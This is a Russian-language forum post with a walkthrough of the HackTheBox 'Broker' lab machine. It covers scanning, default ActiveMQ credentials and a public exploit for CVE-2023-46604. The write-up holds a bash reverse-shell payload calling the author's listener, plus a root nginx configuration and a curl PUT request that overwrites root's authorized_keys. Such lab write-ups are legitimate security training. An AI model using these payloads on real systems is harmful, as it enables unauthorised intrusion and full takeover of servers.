ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Прохождение HackTheBox - Broker (Linux, Easy) (https://forum.antichat.xyz/showthread.php?t=1642786)

Trager 10.12.2023 17:34

Друзья, всем привет! Сегодня пройдём лёгкую
Код:

Linux
-машину с площадки
Код:

HackTheBox
. Приятного чтения!

Разведка

Сканируем порты, используем флаг
Код:

-sC
, чтобы использовать стандартные скрипты,
Код:

-sV
, чтобы определить сервисы открытых портов:

Bash:


Код:

nmap -sC -sV -oN nmap.out
10.10
.11.243

Bash:


Код:

PORT    STATE SERVICE VERSION
22
/tcp
open
ssh
OpenSSH
8
.9p1 Ubuntu 3ubuntu0.4
(
Ubuntu Linux
;
protocol
2.0
)
|
ssh-hostkey:
|
256
3eea454bc5d16d6fe2d4d13b0a3da94f
(
ECDSA
)
|
_
256
64cc75de4ae6a5b473eb3f1bcfb4e394
(
ED25519
)
80
/tcp
open
http    nginx
1.18
.0
(
Ubuntu
)
|
http-auth:
|
HTTP/1.1
401
Unauthorized
\
x0D
|
_  basic
realm
=
ActiveMQRealm
|
_http-server-header: nginx/1.18.0
(
Ubuntu
)
|
_http-title: Error
401
Unauthorized
Service Info: OS: Linux
;
CPE: cpe:/o:linux:linux_kernel

Имеется два открытых
Код:

TCP
-порта:
Код:

22
и
Код:

80
. Перейдём на
Код:

80
-ый порт:

https://forum.antichat.xyz/attachmen...2213830444.png

Требуется ввести имя пользователя и пароль. В случае, если они неверны, то вылетает
Код:

401 Unauthorized
. Из сканирования
Код:

nmap’а
можно понять, что используется
Код:

Apache ActiveMQ
. Таким образом мы можем загуглить имя пользователя/пароль, которые изначально установлены:

https://forum.antichat.xyz/attachmen...2213848862.png

Указываем
Код:

admin:admin
и попадаем в панель:

https://forum.antichat.xyz/attachmen...2213861017.png

Перейдя в
Код:

/admin/
, мы можем узнать версию сервиса
Код:

Apache ActiveMQ
:

https://forum.antichat.xyz/attachmen...2213872467.png

Гуглим версию с названием сервиса и натыкаемся на CVE-2023-46604:

https://forum.antichat.xyz/attachmen...2213898828.png

Мы также можем воспользоваться данным эксплойтом для получения первичного доступа (
Код:

www-data
):

https://forum.antichat.xyz/attachmen...2213915985.png

Важно отметить, что для его работы Вам требуется установленный компилятор
Код:

Go
. Также можете воспользоваться эксплойтом на python. В
Код:

GitHub
-проекте есть несколько файлов:
Код:

main.go
- сама программа, а
Код:

poc.xml
-
Код:

XML
-файл с полезной нагрузкой. Последний сделан для того, чтобы продемонстрировать наличие уязвимости:

https://forum.antichat.xyz/attachmen...2213930973.png

Поэтому нам нужно его изменить на:

XML:


Код:


bash

-c

bash -i
>
&
/dev/tcp/10.10.16.108/9898 0
>
&
1

*
Код:

10.10.16.108
- мой
Код:

IP
-адрес,
Код:

9898
- мой порт на листенере
Код:

nc
.

Теперь нам понадобятся три сессии терминала:
  1. В первой
    Код:

    (1)
    мы поднимем веб-сервер
    Код:

    python
    на
    Код:

    8000
    порту - через него уязвимый сервер с помощью эксплойта сможет получить доступ к
    Код:

    poc.xml
    , который располагается у нас на хосте.
  2. Во второй
    Код:

    (2)
    поднимаем листенер на
    Код:

    9898
    , чтобы получить реверс шелл.
  3. В третьей
    Код:

    (3)
    запускаем сам эскплоит через
    Код:

    go
    с указанием уязвимого сервера (опция
    Код:

    -i
    ) и ссылки на на
    Код:

    poc.xml
    .

https://forum.antichat.xyz/attachmen...2213983627.png

Запускаем всё и получаем сессию от имени пользователя
Код:

www-data
:

https://forum.antichat.xyz/attachmen...2214003499.png

На данном этапе Вы уже можете прочитать
Код:

user.txt
.

Взятие пользователя

После того, как мы получили первичный доступ, используем стандартную команду
Код:

sudo -l
, чтобы узнать какие команды от лица
Код:

www-data
мы можем запускать без пароля с правами суперпользователя:

https://forum.antichat.xyz/attachmen...2214049237.png

Исходя из вывода, мы можем таким образом запустить веб-сервер
Код:

nginx
. Самый простой вариант - сделать
Код:

nginx.conf
и запустить
Код:

nginx
на каком-нибудь порту, например,
Код:

9899
, затем просто прочитать файл
Код:

root.txt
. Но мы немного усложним и пройдём машину так, чтобы получить удалённый доступ от лица пользователя
Код:

root
. Немного покопавшись в гугле, можно найти следующую статью:

https://forum.antichat.xyz/attachmen...2214060944.png

В ней есть примеры
Код:

nginx.conf’а
, которые помогут нам сделать эксплоит:

https://forum.antichat.xyz/attachmen...2214070769.png

1. Создаём
Код:

nginx.conf
со следующим содержимым (порт Вы можете изменить):
  • user root; - устанавливает пользователя, от имени которого будет работать процесс
    Код:

    nginx
    . В данном случае, установлен пользователь
    Код:

    root
    , что означает, что
    Код:

    nginx
    будет работать с правами суперпользователя.
  • events { worker_connections 500; } - задает параметры для обработки событий воркерами
    Код:

    nginx
    . В данном случае, установлено значение
    Код:

    worker_connections
    равным
    Код:

    500
    , что определяет максимальное количество одновременных соединений, которые может обрабатывать один воркер.
  • http { ... } - объявляет блок конфигурации для настроек
    Код:

    HTTP
    -сервера.
  • server { ... } - объявляет блок конфигурации для настроек виртуального сервера внутри блока
    Код:

    http
    .
  • listen 9899; - устанавливает порт, на котором сервер будет слушать входящие соединения. В данном случае, сервер будет слушать порт
    Код:

    9899
    .
  • root /; - устанавливает корневую директорию (
    Код:

    /
    ) для этого виртуального сервера.
  • dav_methods PUT; - включает поддержку метода
    Код:

    HTTP PUT
    для данного сервера. Метод
    Код:

    PUT
    позволяет клиентам загружать файлы на сервер.
2. Поднимем веб-сервер
Код:

python
на
Код:

8000
порту.
3. Загрузим в
Код:

/tmp
созданный нами файл
Код:

nginx.conf
с помощью веб-сервера
Код:

python
.
4. Запустим
Код:

nginx
с правами суперпользователя, используя опцию
Код:

-c
, чтобы указать путь к конфигурационному файлу.
5. Используем
Код:

curl
, чтобы убедиться в том, что веб-сервер заработал на указанном порту.

План действий таков: перезапишем
Код:

authorized_keys
в каталоге
Код:

/root/.ssh/
на атакуемой машине (т.к. веб-сервер подняли с правами суперпользователя и указали в конфиге, что работа идёт от
Код:

root
), чтобы подключиться по
Код:

SSH
от лица пользователя
Код:

root
без пароля.

Для начала сгенерируем
Код:

SSH
-ключи на нашей машине с помощью
Код:

ssh-keygen
:

https://forum.antichat.xyz/attachmen...2214141534.png

Прочитаем и скопируем публичный ключ
Код:

id_rsa.pub
:

https://forum.antichat.xyz/attachmen...2214154151.png

И сделаем следующий
Код:

PUT
-запрос с помощью
Код:

curl
:

Bash:


Код:

curl
-X PUT http://10.10.11.243:9899/root/.ssh/authorized_keys --data
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtcJKegrmZIW6DUp02zvXRacBkkk2YOQlMRztFaK6oRh2fMPTPUfClYiLHSiJkgS8cSF+KaffPPJvobdsU56pVnuSESJCNLPDuuL65IXJDqh6kFNjpcN3RzEfFw2u0Xzv7iqxBFnGp92MzKI7izs0UJaNLc4v6rj0I3jQFyjR6jNXtSy/NiZwm6pT2Sv+qMpjlNLW6iOCDIouT7Jja/Y93x5QS6vUz/b/X1HUuchkJSJz2K3IKgUvTGJfvzuw5ihLKC+7lv8gNubOKsq3WzOoJublJyOM158bn27pZTIlianuNfHaGeFmKRiyOCFtJeg4guQZZaMkcNu/4IDDe6xfwWbF5DNradDeDZ7hfQDOF1HHVp0vclRseUgiPOUigbjCpWt0kSiwtBoUVLCTVXpX79CrGXoDQFi82otRTBslDe8dRfyfN58fE13JKzXI5VYFzQCwZk9QoDSksGjIP5OfMu1LM5L0zZ66cTshF/2jk75B3GkIfT0d48vJPgYsRHJc= trager@hackmachine"

https://forum.antichat.xyz/attachmen...2214178778.png

После отправки запроса пробуем подключиться к
Код:

10.10.11.243
от лица
Код:

root
:

https://forum.antichat.xyz/attachmen...2214194131.png

Успех! Получаем
Код:

root
-флаг.

Друзья, большое спасибо, что дочитали статью до конца. Если есть какие-то ошибки/неточности, то, пожалуйста, напишите об этом в комментариях =D


Время: 21:03